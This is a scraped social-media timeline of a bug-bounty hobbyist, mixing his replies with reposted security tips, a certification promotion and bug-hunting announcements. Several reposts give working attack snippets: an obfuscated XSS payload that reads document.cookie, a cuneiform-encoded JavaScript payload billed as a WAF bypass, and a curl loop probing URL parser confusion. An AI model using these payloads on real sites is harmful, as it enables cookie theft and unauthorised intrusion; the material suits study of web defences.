virajmathpati

Bug Hunter, CTF player, Cyber Enthusiasts.

[virajmathpati @virajmathpati]

@TheSecOpsGroup And as we know AWS is one which currently rules over the cloud service providers just because of there different services that helps perform actions quickly.

[virajmathpati @virajmathpati]

@TheSecOpsGroup Every single startups and companies using cloud to store and process there organisation data, but don't know how to protect and configure it, this secops cloud Certifications will definitely help them to understand the cloud security and also for individuals who want to learn it.

[The SecOps Group @TheSecOpsGroup]

𝙔𝙤𝙪𝙧 𝙣𝙚𝙭𝙩 𝙘𝙡𝙤𝙪𝙙 𝙨𝙚𝙘𝙪𝙧𝙞𝙩𝙮 𝙗𝙧𝙚𝙖𝙠𝙩𝙝𝙧𝙤𝙪𝙜𝙝 𝙘𝙤𝙪𝙡𝙙 𝙘𝙤𝙨𝙩 𝙟𝙪𝙨𝙩 𝟭𝟬% 𝙤𝙛 𝙩𝙝𝙚 𝙥𝙧𝙞𝙘𝙚 (𝙍𝙚𝙖𝙙 𝙢𝙤𝙧𝙚 𝙛𝙤𝙧 𝙖 𝘽𝙊𝙉𝙐𝙎!) ⚡
🔥 𝗚𝗲𝘁 𝟵𝟬% 𝗗𝗶𝘀𝗰𝗼𝘂𝗻𝘁 𝗼𝗻 𝗔𝗹𝗹 𝗖𝗹𝗼𝘂𝗱 𝗦𝗲𝗰𝘂𝗿𝗶𝘁𝘆 𝗖𝗲𝗿𝘁𝗶𝗳𝗶𝗰𝗮𝘁𝗶𝗼𝗻𝘀 𝘄𝗶𝘁𝗵 𝗖𝗼𝗱𝗲 CLOUD-90

☁️ 𝗥𝗲𝗱𝗲𝗳𝗶𝗻𝗲 𝗬𝗼𝘂𝗿 𝗖𝗹𝗼𝘂𝗱 𝗦𝗲𝗰𝘂𝗿𝗶𝘁𝘆 𝗣𝗼𝘁𝗲𝗻𝘁𝗶𝗮𝗹 𝘄𝗶𝘁𝗵 𝗢𝘂𝗿 𝗘𝘅𝗮𝗺𝘀
Whether you’re just stepping into cloud security or already breaking barriers as an expert, our cloud security exams are designed to test real skills, real threats, and real-world cloud environments.

Here’s what’s waiting for you 👇

🔹 𝗖𝗲𝗿𝘁𝗶𝗳𝗶𝗲𝗱 𝗖𝗹𝗼𝘂𝗱 𝗦𝗲𝗰𝘂𝗿𝗶𝘁𝘆 𝗣𝗿𝗮𝗰𝘁𝗶𝘁𝗶𝗼𝗻𝗲𝗿 - 𝗔𝗪𝗦 (𝗖𝗖𝗦𝗣-𝗔𝗪𝗦) | 𝗘𝘀𝘀𝗲𝗻𝘁𝗶𝗮𝗹𝘀 𝗟𝗲𝘃𝗲𝗹
An entry-level exam focused on AWS security fundamentals, shared responsibility model, IAM basics, and common cloud security risks — ideal for starting strong in cloud security.

🔹 𝗖𝗲𝗿𝘁𝗶𝗳𝗶𝗲𝗱 𝗖𝗹𝗼𝘂𝗱 𝗣𝗲𝗻𝘁𝗲𝘀𝘁𝗶𝗻𝗴 𝗲𝗫𝗽𝗲𝗿𝘁 - 𝗔𝗪𝗦 (𝗖𝗖𝗣𝗲𝗻𝗫-𝗔𝗪𝗦) | 𝗲𝗫𝗽𝗲𝗿𝘁 𝗟𝗲𝘃𝗲𝗹
A hands-on AWS pentesting exam where you face realistic attack scenarios, misconfigurations, and privilege escalation paths inside live AWS environments.

🔹 𝗖𝗲𝗿𝘁𝗶𝗳𝗶𝗲𝗱 𝗖𝗹𝗼𝘂𝗱 𝗣𝗲𝗻𝘁𝗲𝘀𝘁𝗶𝗻𝗴 𝗲𝗫𝗽𝗲𝗿𝘁-𝗔𝘇𝘂𝗿𝗲 (𝗖𝗖𝗣𝗲𝗻𝗫-𝗔𝘇) | 𝗲𝗫𝗽𝗲𝗿𝘁 𝗟𝗲𝘃𝗲𝗹
An advanced Azure cloud pentesting exam with a full attack-chain simulation, testing your ability to identify, exploit, and pivot across Azure services.

🎁 𝗕𝗢𝗡𝗨𝗦
𝗪𝗲’𝗿𝗲 𝗴𝗶𝘃𝗶𝗻𝗴 𝟯 𝗹𝘂𝗰𝗸𝘆 𝗰𝗹𝗼𝘂𝗱 𝗲𝗻𝘁𝗵𝘂𝘀𝗶𝗮𝘀𝘁𝘀 𝗮 𝗰𝗵𝗮𝗻𝗰𝗲 𝘁𝗼 𝘄𝗶𝗻 𝗮𝗻 𝗲𝘅𝗰𝗶𝘁𝗶𝗻𝗴 𝗿𝗲𝘄𝗮𝗿𝗱! 𝗙𝗿𝗲𝗲 𝗖𝗹𝗼𝘂𝗱 𝗦𝗲𝗰𝘂𝗿𝗶𝘁𝘆 𝗘𝘅𝗮𝗺 𝗼𝗳 𝗬𝗼𝘂𝗿 𝗖𝗵𝗼𝗶𝗰𝗲! 🏆
Here’s how to enter:
❤️ 𝗟𝗶𝗸𝗲 this post.
🔁 𝗦𝗵𝗮𝗿𝗲 it with your cloud security circle.
🗨️ 𝗖𝗼𝗺𝗺𝗲𝗻𝘁 which cloud platform you’d love to put to the test and why!

🚀 𝗠𝗮𝗸𝗲 𝘆𝗼𝘂𝗿 𝗺𝗼𝘃𝗲. Grab your 90% discount with CLOUD-90, level up your cloud security skills, and enter the giveaway today!
https://t.co/pcT5GuckVM

#TheSecOpsGroup #CloudSecurity #AWS #Azure #CloudPentesting #CyberSecurity #Pentesting #Giveaway

[JEJE × HACKS @hacks_je]

XXE to LFI -> results are in PDF and its preview.....Weird bug I encountered today...🫡

#bugbounty

[Dimitri Os @Ch0pin]

Worth waiting 🫡🫡

[Marius du Preez @mdp_sec]

Back to hunting this week, fam 🫡

reminder I've open-sourced my entire bug hunting workflow.

If you're building your own hackbot...

This should save you a ton of time figuring out what works and what doesn't.

Not plug and play, but plenty to build on

https://t.co/EIzCWH0JxX

[zack0x01 @zack0x01_]

I built an AI agent that hunts bugs while I sleep. It maps a target, tests the bug classes I care about, kills its own false positives, writes the PoC and pings me at midnight.

Step by step build in the article.

#bugbounty #hacking #cybersecurity https://t.co/uZspRQcw9B

[Brute @BRuteLogic]

1-Liner Parser Confusion Bypass

for b in %3B %23 %3F %00; do for e in .json .js .html; do curl -i "https://API-TARGET/v1/users/1$b$e" 2>/dev/null | head -1 | grep -q 200 && echo "HIT: $b$e"; done; done

%3B still lands in 2026 (CVE-2026-50559).

[𝐤𝐣𝐮𝐥𝐢𝐮𝐬 @ethical_h4ck3r_]

Cross Site Scripting (XSS) Akamai WAF Bypass. 🔥

Try this payload: <!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>

Remember to add payload to your list: 📝

#bugbountytips #bugbountytip #bugbounty

[virajmathpati @virajmathpati]

@zack0x01_ It would be great 👍🏻

[Hacking Articles @hackinarticles]

Pic of the Day

#infosec #cybersecurity #cybersecuritytips #pentesting #cybersecurityawareness

[virajmathpati @virajmathpati]

@krishnsec Give some suggestions for beginners. @krishnsec

[virajmathpati @virajmathpati]

@DataChaz May be you should install a screen, because I also have setup like yours but for windows, and I didn't found any software regarding screen so please let me know if you found for mac. 🤣🤣

[𝐤𝐣𝐮𝐥𝐢𝐮𝐬 @ethical_h4ck3r_]

An XSS payload, Cuneiform-alphabet based. Bypass WAF

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],

𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]

+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]

+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

#bugbountytips #bugbountytip

[RexNet Mateusz Mieczkowski @RexNetpl]

My new record @Bugcrowd :)

#bugbounty

[Faav @efaav]

How I Could've Accessed 17 Trillion Microsoft Records

https://t.co/ASdR0j7rDN :)

[Intigriti @intigriti]

Prompt injection is the #1 risk in the OWASP LLM Top 10... 🤠

Awesome Prompt Injection is a curated collection of resources covering everything from research papers and real-world attack chains to hands-on CTFs and detection tools for testing LLM and agentic applications! 🤠

Check it out! 👇
https://t.co/VJDCZtWwJX

[Intigriti @intigriti]

Tips on fuzzing by @GodfatherOrwa 👇

#BugBountyTips #HackWithIntigriti

[Intigriti @intigriti]

We just dove into our shelf of archived bug bounty write-ups from the most notable hackers! 🤠

In this issue, we selected 5 compelling articles (that are still relevant today) to share with you, from which you can learn something new! 😎

🧵 👇